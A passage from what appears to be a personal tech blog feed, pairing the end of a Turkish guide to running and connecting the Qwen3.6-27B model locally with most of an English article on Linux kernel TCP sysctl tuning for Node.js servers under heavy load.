</code></pre></div> <p><em>Beklenen h&inodot;z: D&uuml;&scedil;&uuml;nme modu a&ccedil;&inodot;kken saniyede 10-12 token, kapal&inodot;yken 35-45 token.</em></p> <h2 id="framework-versiyonlar-cok-kritik_1">Framework Versiyonlar&inodot; &Ccedil;ok Kritik!<a class="headerlink" href="#framework-versiyonlar-cok-kritik" title="Permanent link">#</a></h2> <p>Qwen3.6-27B modelini sorunsuz ve do&gbreve;ru &ccedil;al&inodot;&scedil;t&inodot;rmak i&ccedil;in kulland&inodot;&gbreve;&inodot;n&inodot;z k&uuml;t&uuml;phanelerin g&uuml;ncel olmas&inodot; gerekir hac&inodot;. S&uuml;r&uuml;m uyu&scedil;mazl&inodot;klar&inodot; hatal&inodot; &ccedil;&inodot;kt&inodot;lara sebep olabilir:</p> <ul> <li><strong>SGLang</strong>: &gt;= 0.5.10</li> <li><strong>vLLM</strong>: &gt;= 0.19.0</li> <li><strong>Transformers</strong>: &gt;= 4.51.0 veya en g&uuml;ncel main branch</li> </ul> <h2 id="milyon-token-snrn-zorlamak-yarn-ayar">Milyon Token S&inodot;n&inodot;r&inodot;n&inodot; Zorlamak: YaRN Ayar&inodot;<a class="headerlink" href="#milyon-token-snrn-zorlamak-yarn-ayar" title="Permanent link">#</a></h2> <p>E&gbreve;er 262K ba&gbreve;lam penceresinden daha fazlas&inodot;na ihtiyac&inodot;n&inodot;z varsa, model klas&ouml;r&uuml;ndeki <code>config.json</code> dosyas&inodot;n&inodot; a&ccedil;&inodot;p RoPE parametrelerini &scedil;u &scedil;ekilde g&uuml;ncelleyebilirsiniz:</p> <div class="highlight"><pre><span></span><code><span class="p">{</span> <span class="w"> </span><span class="nt">"mrope_interleaved"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span> <span class="w"> </span><span class="nt">"mrope_section"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="mi">11</span><span class="p">,</span><span class="w"> </span><span class="mi">11</span><span class="p">,</span><span class="w"> </span><span class="mi">10</span><span class="p">],</span> <span class="w"> </span><span class="nt">"rope_type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"yarn"</span><span class="p">,</span> <span class="w"> </span><span class="nt">"rope_theta"</span><span class="p">:</span><span class="w"> </span><span class="mi">10000000</span><span class="p">,</span> <span class="w"> </span><span class="nt">"partial_rotary_factor"</span><span class="p">:</span><span class="w"> </span><span class="mf">0.25</span><span class="p">,</span> <span class="w"> </span><span class="nt">"factor"</span><span class="p">:</span><span class="w"> </span><span class="mf">4.0</span><span class="p">,</span> <span class="w"> </span><span class="nt">"original_max_position_embeddings"</span><span class="p">:</span><span class="w"> </span><span class="mi">262144</span> <span class="p">}</span> </code></pre></div> <p>Ayn&inodot; ayar&inodot; vLLM &uuml;zerinde do&gbreve;rudan ba&scedil;latma parametresi olarak da ge&ccedil;ebilirsiniz:</p> <div class="highlight"><pre><span></span><code><span class="nv">VLLM_ALLOW_LONG_MAX_MODEL_LEN</span><span class="o">=</span><span class="m">1</span><span class="w"> </span>vllm<span class="w"> </span>serve<span class="w"> </span>Qwen/Qwen3.6-27B<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--tensor-parallel-size<span class="w"> </span><span class="m">8</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--max-model-len<span class="w"> </span><span class="m">1010000</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--hf-overrides<span class="w"> </span><span class="s1">'{"text_config": {"rope_parameters": {"mrope_interleaved": true, "mrope_section": [11, 11, 10], "rope_type": "yarn", "rope_theta": 10000000, "partial_rotary_factor": 0.25, "factor": 4.0, "original_max_position_embeddings": 262144}}}'</span> </code></pre></div> <div class="admonition warning"> <p class="admonition-title">Dikkat! ⚡ YaRN K&inodot;sa Sorgularda Performans&inodot; D&uuml;&scedil;&uuml;rebilir</p> <p>YaRN &ouml;l&ccedil;eklendirmesi sabit bir katsay&inodot; kulland&inodot;&gbreve;&inodot; i&ccedil;in k&inodot;sa metinlerde model kalitesini hafif&ccedil;e etkileyebilir. Bu ayar&inodot; sadece ger&ccedil;ekten devasa kod tabanlar&inodot;n&inodot; analiz edece&gbreve;iniz zaman a&ccedil;man&inodot;z&inodot; &ouml;neririm.</p> </div> <h2 id="yerel-kodlama-ajanlarna-baglamak">Yerel Kodlama Ajanlar&inodot;na Ba&gbreve;lamak<a class="headerlink" href="#yerel-kodlama-ajanlarna-baglamak" title="Permanent link">#</a></h2> <p>Modeli aya&gbreve;a kald&inodot;rd&inodot;ktan sonra OpenAI veya Anthropic uyumlu API protokolleri &uuml;zerinden pop&uuml;ler ajanlara kolayca ba&gbreve;layabiliriz.</p> <h3 id="openclaw-entegrasyonu">OpenClaw Entegrasyonu 🔌<a class="headerlink" href="#openclaw-entegrasyonu" title="Permanent link">#</a></h3> <p>Kendi sunucunuzda bar&inodot;nd&inodot;rabilece&gbreve;iniz a&ccedil;&inodot;k kaynakl&inodot; kodlama ajan&inodot; OpenClaw i&ccedil;in <code>~/.openclaw/openclaw.json</code> ayar dosyas&inodot;n&inodot; &scedil;u &scedil;ekilde g&uuml;ncelleyin:</p> <div class="highlight"><pre><span></span><code><span class="p">{</span> <span class="w"> </span><span class="nt">"models"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nt">"mode"</span><span class="p">:</span><span class="w"> </span><span class="s2">"merge"</span><span class="p">,</span> <span class="w"> </span><span class="nt">"providers"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nt">"local"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nt">"baseUrl"</span><span class="p">:</span><span class="w"> </span><span class="s2">"http://localhost:8000/v1"</span><span class="p">,</span> <span class="w"> </span><span class="nt">"apiKey"</span><span class="p">:</span><span class="w"> </span><span class="s2">"EMPTY"</span><span class="p">,</span> <span class="w"> </span><span class="nt">"api"</span><span class="p">:</span><span class="w"> </span><span class="s2">"openai-completions"</span><span class="p">,</span> <span class="w"> </span><span class="nt">"models"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span> <span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"qwen3.6-27b"</span><span class="p">,</span> <span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"qwen3.6-27b"</span><span class="p">,</span> <span class="w"> </span><span class="nt">"reasoning"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span> <span class="w"> </span><span class="nt">"input"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"text"</span><span class="p">,</span><span class="w"> </span><span class="s2">"image"</span><span class="p">],</span> <span class="w"> </span><span class="nt">"contextWindow"</span><span class="p">:</span><span class="w"> </span><span class="mi">131072</span><span class="p">,</span> <span class="w"> </span><span class="nt">"maxTokens"</span><span class="p">:</span><span class="w"> </span><span class="mi">32768</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="p">]</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="p">},</span> <span class="w"> </span><span class="nt">"agents"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nt">"defaults"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nt">"model"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nt">"primary"</span><span class="p">:</span><span class="w"> </span><span class="s2">"local/qwen3.6-27b"</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="p">}</span> <span class="p">}</span> </code></pre></div> <h3 id="qwen-code-kurulumu">Qwen Code Kurulumu 💻<a class="headerlink" href="#qwen-code-kurulumu" title="Permanent link">#</a></h3> <p>Alibaba'n&inodot;n Qwen modelleri i&ccedil;in &ouml;zel olarak tasarlad&inodot;&gbreve;&inodot; terminal ajan&inodot; Qwen Code'u kurup hemen kullanmaya ba&scedil;layabilirsiniz:</p> <div class="highlight"><pre><span></span><code>npm<span class="w"> </span>install<span class="w"> </span>-g<span class="w"> </span><a href="https://twitter.com/qwen">@qwen</a>-code/qwen-code@latest qwen <span class="c1"># Terminal aray&uuml;z&uuml;nde: /auth komutuyla yerel endpoint adresinizi girin</span> </code></pre></div> <h3 id="claude-code-ile-yerel-model-kullanmak">Claude Code ile Yerel Model Kullanmak 📡<a class="headerlink" href="#claude-code-ile-yerel-model-kullanmak" title="Permanent link">#</a></h3> <p>E&gbreve;er Claude Code kullanmay&inodot; tercih ediyorsan&inodot;z, ortam de&gbreve;i&scedil;kenlerini yerel API sunucunuza y&ouml;nlendirerek Qwen3.6-27B'yi Claude gibi davranmaya ikna edebilirsiniz:</p> <div class="highlight"><pre><span></span><code><span class="nb">export</span><span class="w"> </span><span class="nv">ANTHROPIC_MODEL</span><span class="o">=</span><span class="s2">"qwen3.6-27b"</span> <span class="nb">export</span><span class="w"> </span><span class="nv">ANTHROPIC_SMALL_FAST_MODEL</span><span class="o">=</span><span class="s2">"qwen3.6-27b"</span> <span class="nb">export</span><span class="w"> </span><span class="nv">ANTHROPIC_BASE_URL</span><span class="o">=</span><span class="s2">"http://localhost:8000/v1"</span> <span class="nb">export</span><span class="w"> </span><span class="nv">ANTHROPIC_AUTH_TOKEN</span><span class="o">=</span><span class="s2">"EMPTY"</span> claude </code></pre></div> <h2 id="modelin-gercekci-snrlar-ve-eksi-yonleri_1">Modelin Ger&ccedil;ek&ccedil;i S&inodot;n&inodot;rlar&inodot; ve Eksi Y&ouml;nleri<a class="headerlink" href="#modelin-gercekci-snrlar-ve-eksi-yonleri" title="Permanent link">#</a></h2> <p>Tabii ki her &scedil;ey g&uuml;ll&uuml;k g&uuml;listanl&inodot;k de&gbreve;il hac&inodot;. Bu modeli kurmadan &ouml;nce &scedil;u detaylar&inodot; da bilmeniz gerekiyor:</p> <ul> <li><strong>G&uuml;&ccedil; T&uuml;ketimi 🌡️:</strong> Yo&gbreve;un (dense) mimariler her ileri ge&ccedil;i&scedil;te t&uuml;m parametreleri &ccedil;al&inodot;&scedil;t&inodot;rd&inodot;&gbreve;&inodot; i&ccedil;in, aktif parametre say&inodot;s&inodot; az olan MoE modellerine g&ouml;re sunucuda &ccedil;ok daha fazla elektrik t&uuml;ketir ve kartlar&inodot; daha &ccedil;ok &inodot;s&inodot;t&inodot;r.</li> <li><strong>Donan&inodot;m S&inodot;n&inodot;r&inodot;:</strong> Her ne kadar k&uuml;&ccedil;&uuml;k desek de kantize edilmi&scedil; hali bile en az 24 GB VRAM kapasiteli bir ekran kart&inodot; gerektirir. Giri&scedil; seviyesi bilgisayarlarda veya d&uuml;&scedil;&uuml;k donan&inodot;ml&inodot; diz&uuml;st&uuml; bilgisayarlarda ak&inodot;c&inodot; &ccedil;al&inodot;&scedil;t&inodot;rmak zordur.</li> <li><strong>Ekosistem Olgunlu&gbreve;u:</strong> Model &ccedil;ok yeni oldu&gbreve;u i&ccedil;in topluluk taraf&inodot;ndan &uuml;retilen ince ayarlar (fine-tunes) ve ara&ccedil; entegrasyonlar&inodot; hen&uuml;z yolun ba&scedil;&inodot;nda.</li> </ul> <p>Yerel donan&inodot;m&inodot;n&inodot;zda tam veri gizlili&gbreve;iyle, bulut servislerine ba&gbreve;&inodot;ml&inodot; kalmadan ve API faturas&inodot; &ouml;demeden &ccedil;al&inodot;&scedil;mak istiyorsan&inodot;z Qwen3.6-27B &scedil;u an piyasadaki en di&scedil;li yerel se&ccedil;eneklerden biridir.</p> <p>Hadi kal&inodot;n sa&gbreve;l&inodot;cakla! 👋</p> <hr/> <h3 id="laboratuvardan-diger-notlar">🔗 Laboratuvardan Di&gbreve;er Notlar<a class="headerlink" href="#laboratuvardan-diger-notlar" title="Permanent link">#</a></h3> <p>Yapay zeka modellerini yerelde ko&scedil;tururken ve terminal ara&ccedil;lar&inodot;n&inodot; kurcalarken i&scedil;inize yarayacak di&gbreve;er tecr&uuml;belerim de &scedil;urada:</p> <ul> <li><a href="/qwen3-mcp-server-aktif-etme/">Qwen 3 ve Qwen3-Coder-Plus &Uuml;zerinde MCP Server&rsquo;lar&inodot; Aktif Etme</a></li> <li><a href="/yerel-ai-kurulum-rehberi-lm-studio-vs-code/">Ayl&inodot;k Aboneliklere Elveda: Kendi Bilgisayar&inodot;n&inodot;zda Bedava ve &Ouml;zel AI Rehberi</a></li> <li><a href="/arch-linux-ollama-webui-kurulumu-docker/">Arch Linux'ta Ollama ve WebUI Kurulumu (Docker ile)</a></li> <li><a href="/mcp-puppeteer-sunucusu-kurulumu/">MCP Puppeteer Sunucusu Kurulumu</a></li> <li><a href="/docker-imaj-boyutu-kucultme-rehberi/">&Scedil;i&scedil;ko Docker &Idot;majlar&inodot;na Diyet: 1.2 GB'tan 78 MB'a Yolculuk</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>CloudRift ekibinin Blackwell (sm_120) donan&inodot;mlar&inodot;nda yapt&inodot;&gbreve;&inodot; testlerde ortaya koydu&gbreve;u SGLang ge&ccedil;ici &ccedil;&ouml;z&uuml;mlerine g&ouml;re, FP8 yerine BF16 KV cache kullan&inodot;lmas&inodot; ve radix cache &ouml;zelli&gbreve;inin devre d&inodot;&scedil;&inodot; b&inodot;rak&inodot;lmas&inodot; kararl&inodot;l&inodot;k sorunlar&inodot;n&inodot; &ccedil;&ouml;zmektedir.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>Apple Silicon &uuml;zerinde MLX, Metal API'sine do&gbreve;rudan eri&scedil;ti&gbreve;i i&ccedil;in klasik llama.cpp / GGUF derlemelerine g&ouml;re daha d&uuml;&scedil;&uuml;k gecikme s&uuml;resi ve daha y&uuml;ksek verim sunar.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-29T04:20:00+03:002026-05-29T04:20:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-29:/en/linux-tcp-tuning-node-js-microservices/

<p>I'm explaining the critical Linux kernel sysctl settings required to prevent mysterious connection drops and timeouts on Node.js servers under heavy load.</p>

<p>While load testing the microservices running in my local lab, I encountered a strange issue, man. The load generator was hitting 2000 requests per second, and the Node.js server's CPU usage wasn't even breaking 30%. The event loop was a beast, garbage collection (GC) was quiet, and there were zero error logs. Yet, the load test report showed a 3% connection timeout. On top of that, those infamous "socket hang up" errors from other services started to become a nuisance.</p> <p>You look at the application logs, and nothing's out of place. The metric dashboards are all green. You start feeling like you're fighting a ghost. That is, until you run <code>ss -s</code> on the server and see forty thousand sockets waiting in <code>TIME_WAIT</code> state, or catch the <code>TCP: request_sock_TCP: Possible SYN flooding on port 3000</code> warning in the <code>dmesg</code> logs... The kernel has entered a secret war with your traffic, and unfortunately, it has won.</p> <p>You'll never catch these kinds of errors by profiling at the application level. That's because, by default, the Linux kernel still comes with settings configured for a desktop computer from 2005. Yet, here we are in 2026, talking about Node.js containers running behind a load balancer. In this article, we're diving into 4 essential sysctl families and that critical Node.js setting that most teams overlook, to overcome this hidden bottleneck.</p> <h2 id="1-connection-queues-syn-backlog-and-accept-queue">1. Connection Queues: SYN Backlog and Accept Queue<a class="headerlink" href="#1-connection-queues-syn-backlog-and-accept-queue" title="Permanent link">#</a></h2> <p>When a client establishes a TCP connection to your Node.js server, a three-way handshake occurs in the kernel before the application-level <code>server.on('connection', ...)</code> event is triggered:</p> <ol> <li>The client sends a <code>SYN</code> packet.</li> <li>The kernel allocates space in the SYN backlog queue, responds with <code>SYN-ACK</code>, and waits for the final <code>ACK</code> packet from the client.</li> <li>Once the handshake is complete, the socket is moved to the accept queue. Node.js then makes the <code>accept()</code> call in the next event loop iteration and triggers the connection event.</li> </ol> <p>If either of these queues fills up, the kernel will simply discard incoming packets. The client will time out and try again. Your application, on the other hand, won't log any errors because the connection never even reached the server. From the outside, this looks like an intermittent network issue, but it's actually the kernel's capacity limit.</p> <p>By default, Linux distributions have <code>net.core.somaxconn</code> set to either 128 or 4096. These numbers might sound large, but when containers behind a load balancer restart or a "connection storm" occurs, these queues can burst within seconds.</p> <h3 id="persuading-the-kernel-and-that-secret-parameter-in-nodejs">Persuading the Kernel and That Secret Parameter in Node.js<a class="headerlink" href="#persuading-the-kernel-and-that-secret-parameter-in-nodejs" title="Permanent link">#</a></h3> <p>Let's fine-tune:</p> <div class="highlight"><pre><span></span><code><span class="na">net.core.somaxconn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">65535</span> <span class="na">net.ipv4.tcp_max_syn_backlog</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">65535</span> </code></pre></div> <p>However, changing this setting at the kernel level alone won't win the war, man. When Node.js starts its HTTP server, it defaults to listening with a <code>backlog</code> limit of <code>511</code>. If you don't provide this backlog limit to the <code>listen</code> function when starting the server, Node.js will still be capped at 511, even if you set the kernel's queue limit to 65535!</p> <div class="highlight"><pre><span></span><code><span class="k">import</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">createServer</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="kr">from</span><span class="w"> </span><span class="s1">'node:http'</span><span class="p">;</span> <span class="kd">const</span><span class="w"> </span><span class="nx">server</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">createServer</span><span class="p">((</span><span class="nx">req</span><span class="p">,</span><span class="w"> </span><span class="nx">res</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">res</span><span class="p">.</span><span class="nx">end</span><span class="p">(</span><span class="s1">'ok'</span><span class="p">);</span> <span class="p">});</span> <span class="c1">// We're matching the backlog value to our kernel setting, making it 65535</span> <span class="nx">server</span><span class="p">.</span><span class="nx">listen</span><span class="p">(</span><span class="mf">3000</span><span class="p">,</span><span class="w"> </span><span class="s1">'0.0.0.0'</span><span class="p">,</span><span class="w"> </span><span class="mf">65535</span><span class="p">,</span><span class="w"> </span><span class="p">()</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">'Listening with backlog 65535...'</span><span class="p">);</span> <span class="p">});</span> </code></pre></div> <p>To see if the setting is taking effect live, you can run this command:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>ss<span class="w"> </span>-lnt<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span><span class="m">3000</span> </code></pre></div> <p>If the <code>Send-Q</code> (queue capacity) column still shows <code>511</code>, it means you either forgot to restart the Node.js application or you didn't provide this value in the <code>listen</code> call in your code.</p> <h2 id="2-ephemeral-port-exhaustion-on-the-client-side_1">2. Ephemeral Port Exhaustion on the Client Side<a class="headerlink" href="#2-ephemeral-port-exhaustion-on-the-client-side" title="Permanent link">#</a></h2> <p>Our Node.js service doesn't just handle incoming requests; it also connects to databases, makes requests to other microservices, or calls external APIs. Every external TCP connection, by default, reserves a temporary port (ephemeral port) from the range <code>32768-60999</code> (about 28,000 ports).</p> <p>Especially during peak times with a high volume of short-lived requests, even after a connection closes, the ports remain stuck in the <code>TIME_WAIT</code> state for 2 minutes (during <code>tcp_fin_timeout</code>). When the port pool is exhausted, your application can't make outgoing requests, and you'll see an <code>EADDRNOTAVAIL</code> error in your terminal. The receiving service might seem like it's crashed, but in reality, your own kernel is gasping for air.</p> <p>To overcome this, we'll expand the port range and enable the safe reuse of ports:</p> <div class="highlight"><pre><span></span><code><span class="na">net.ipv4.ip_local_port_range</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">1024 65535</span> <span class="na">net.ipv4.tcp_tw_reuse</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">1</span> </code></pre></div> <p>With <code>tcp_tw_reuse</code>, the kernel can safely reuse sockets in the <code>TIME_WAIT</code> state for new outgoing connections by using timestamps.</p> <div class="admonition danger"> <p class="admonition-title">Critical Warning: Do Not Touch tcp_tw_recycle!</p> <p>Don't fall for 10-year-old blog posts on the internet and enable the <code>tcp_tw_recycle</code> parameter, man. This setting causes random disconnections for clients coming from behind NAT (Network Address Translation), which is why it was completely removed from the kernel in Linux version 4.12.</p> </div> <p>You can use this single-line command to monitor port status in real-time:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>ss<span class="w"> </span>-tan<span class="w"> </span><span class="p">|</span><span class="w"> </span>awk<span class="w"> </span><span class="s1">'{print $4}'</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>cut<span class="w"> </span>-d:<span class="w"> </span>-f2<span class="w"> </span><span class="p">|</span><span class="w"> </span>sort<span class="w"> </span><span class="p">|</span><span class="w"> </span>uniq<span class="w"> </span>-c<span class="w"> </span><span class="p">|</span><span class="w"> </span>sort<span class="w"> </span>-rn<span class="w"> </span><span class="p">|</span><span class="w"> </span>head </code></pre></div> <h2 id="3-memory-buffers-for-higher-throughput-tcp-buffers">3. Memory Buffers for Higher Throughput (TCP Buffers)<a class="headerlink" href="#3-memory-buffers-for-higher-throughput-tcp-buffers" title="Permanent link">#</a></h2> <p>For streams on Node.js to operate without bottlenecks at high bandwidth, the kernel's memory buffers must have sufficient space. If <code>rmem_max</code> and <code>wmem_max</code> values remain low, the kernel will announce a smaller TCP window, and even high-speed connections won't deliver their full potential performance. Virtual network bridges in containerized environments add extra load to this situation.</p> <div class="highlight"><pre><span></span><code><span class="na">net.core.rmem_max</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">16777216</span> <span class="na">net.core.wmem_max</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">16777216</span> <span class="na">net.ipv4.tcp_rmem</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">4096 87380 16777216</span> <span class="na">net.ipv4.tcp_wmem</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">4096 65536 16777216</span> <span class="na">net.core.netdev_max_backlog</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">65535</span> </code></pre></div> <p>The triple values here specify the minimum, default, and maximum buffer sizes (in bytes), respectively. The kernel dynamically scales the buffer based on network latency and data flow. The 16 MiB ceiling prevents idle connections from hogging memory while serving as a lifeline during heavy data transfer.</p> <p><code>netdev_max_backlog</code> controls the packet queue at the network interface card (NIC) level. If packets arriving at the NIC pile up faster than the kernel can deliver them to userspace, packets are dropped directly at the NIC. You can monitor this using <code>ethtool -S eth0 | grep rx_missed_errors</code> or the RX errors field in the <code>ifconfig</code> output.</p> <h2 id="4-rapid-cleanup-of-idle-sockets-tcp-keepalive">4. Rapid Cleanup of Idle Sockets (TCP Keepalive)<a class="headerlink" href="#4-rapid-cleanup-of-idle-sockets-tcp-keepalive" title="Permanent link">#</a></h2> <p>During rolling updates or network interruptions at NAT gateways, clients or servers might not detect that a connection has dropped. In such cases, sockets remain stuck in a "half-open" state. Linux's default Keepalive time is a whopping 2 hours, man. A dead socket occupying your connection pool for 2 hours means wasted server resources.</p> <p>We're bringing the timeout down to more humane limits:</p> <div class="highlight"><pre><span></span><code><span class="na">net.ipv4.tcp_keepalive_time</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">60</span> <span class="na">net.ipv4.tcp_keepalive_intvl</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">10</span> <span class="na">net.ipv4.tcp_keepalive_probes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">6</span> </code></pre></div> <p>With these settings, after 60 seconds of no data transfer, 6 probe packets are sent at 10-second intervals. If there's no response from the other side, the connection is considered dead and cleaned up from the pool in about 2 minutes. Of course, for this to work, the <code>keepAlive: true</code> setting must also be enabled on the Node.js side when using the HTTP Agent<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup>.</p> <h2 id="diagnosing-which-limit-youve-hit-quick-checklist">Diagnosing Which Limit You've Hit (Quick Checklist)<a class="headerlink" href="#diagnosing-which-limit-youve-hit-quick-checklist" title="Permanent link">#</a></h2> <p>To understand which kernel limit your network issue is hitting, you can refer to this map I've prepared:</p> <ul> <li><strong>Symptom:</strong> Under heavy load, CPU is quiet, but connections are timing out.<ul> <li><strong>Possible Limit:</strong> <code>somaxconn</code> or the listen backlog limit on the Node.js side.</li> <li><strong>Diagnosis Command:</strong> Compare <code>Send-Q</code> and <code>Recv-Q</code> values using <code>ss -lnt</code>.</li> </ul> </li> <li><strong>Symptom:</strong> <code>SYN flooding</code> warning in <code>dmesg</code> logs.<ul> <li><strong>Possible Limit:</strong> <code>tcp_max_syn_backlog</code> queue is full.</li> <li><strong>Diagnosis Command:</strong> <code>dmesg | grep SYN</code></li> </ul> </li> <li><strong>Symptom:</strong> <code>EADDRNOTAVAIL</code> error when making requests to external services.<ul> <li><strong>Possible Limit:</strong> Ephemeral (temporary) port exhaustion.</li> <li><strong>Diagnosis Command:</strong> Compare the <code>ss -tan | grep TIME_WAIT | wc -l</code> value with your local port range.</li> </ul> </li> <li><strong>Symptom:</strong> Bandwidth unable to exceed 1 Gbps on high-speed lines.<ul> <li><strong>Possible Limit:</strong> Insufficient TCP memory buffers.</li> <li><strong>Diagnosis Command:</strong> <code>cat /proc/sys/net/core/rmem_max</code></li> </ul> </li> <li><strong>Symptom:</strong> Irregular latency spikes during sudden traffic fluctuations.<ul> <li><strong>Possible Limit:</strong> Network card queue limit (<code>netdev_max_backlog</code>).</li> <li><strong>Diagnosis Command:</strong> Check <code>ethtool -S eth0 | grep rx_missed_errors</code> or the <code>RX errors</code> field in the <code>ifconfig</code> output.</li> </ul> </li> <li><strong>Symptom:</strong> Dead sockets in the connection pool are not cleaned up for minutes after the other service crashes.<ul> <li><strong>Possible Limit:</strong> Keepalive timers are too slow.</li> <li><strong>Diagnosis Command:</strong> <code>cat /proc/sys/net/ipv4/tcp_keepalive_time</code></li> </ul> </li> </ul> <h2 id="consolidating-all-settings-in-a-single-file">Consolidating All Settings in a Single File<a class="headerlink" href="#consolidating-all-settings-in-a-single-file" title="Permanent link">#</a></h2> <p>You can deploy the following configuration to your servers using Ansible, Terraform, or directly manually. It's a clean set that stays within safe limits and doesn't break TCP standards:</p> <div class="highlight"><pre><span></span><code><span class="c1"># /etc/sysctl.d/99-nodejs-microservices.conf</span> <span class="c1"># Incoming connection capacity</span> <span class="na">net.core.somaxconn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">65535</span> <span class="na">net.ipv4.tcp_max_syn_backlog</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">65535</span> <span class="c1"># Outgoing connection capacity and port management</span> <span class="na">net.ipv4.ip_local_port_range</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">1024 65535</span> <span class="na">net.ipv4.tcp_tw_reuse</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">1</span> <span class="na">net.ipv4.tcp_fin_timeout</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">30</span> <span class="c1"># Memory buffers for data flow (in Bytes)</span> <span class="na">net.core.rmem_max</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">16777216</span> <span class="na">net.core.wmem_max</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">16777216</span> <span class="na">net.ipv4.tcp_rmem</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">4096 87380 16777216</span> <span class="na">net.ipv4.tcp_wmem</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">4096 65536 16777216</span> <span class="na">net.core.netdev_max_backlog</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">65535</span> <span class="c1"># Quick elimination of dead connections</span> <span class="na">net.ipv4.tcp_keepalive_time</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">60</span> <span class="na">net.ipv4.tcp_keepalive_intvl</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">10</span> <span class="na">net.ipv4.tcp_keepalive_probes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">6</span> <span class="c1"># Memory safety limit for the TCP stack (in Page count, not Bytes!)</span> <span class="na">net.ipv4.tcp_mem</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">786432 1048576 26777216</span> </code></pre></div> <p>To apply these settings to your server:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>sysctl<span class="w"> </span>--system </code></pre></div> <div class="admonition warning"> <p class="admonition-title">Caution! The tcp_mem Parameter is Dangerous</p> <p>The <code>tcp_mem</code> line controls the total amount of memory the kernel can allocate for TCP sockets. The values here are in <strong>memory pages</strong> (usually 4 KiB per page on x86_64 architecture), not bytes! If you set this limit too low relative to your server's total RAM capacity, the kernel will start dropping packets wholesale. Use the above values as a starting point and adjust them based on <code>free</code> and <code>slabtop</code> outputs under load.</p> </div> <h2 id="infrastructure-settings-wont-save-bad-code">Infrastructure Settings Won't Save Bad Code<a class="headerlink" href="#infrastructure-settings-wont-save-bad-code" title="Permanent link">#</a></h2> <p>Fine-tuning the kernel gives your server breathing room, but it won't fix poorly written code, man. If your Node.js application's event loop is blocked for 200 ms due to a synchronous <code>JSON.parse</code> or a heavy loop, even setting <code>somaxconn</code> to a million won't prevent that queue from eventually bursting. That's because the application can't accept connections from the kernel.</p> <p>Similarly, if you open a new database connection on every request and forget to close it, you'll eventually face ephemeral port exhaustion. Kernel settings only provide an escape 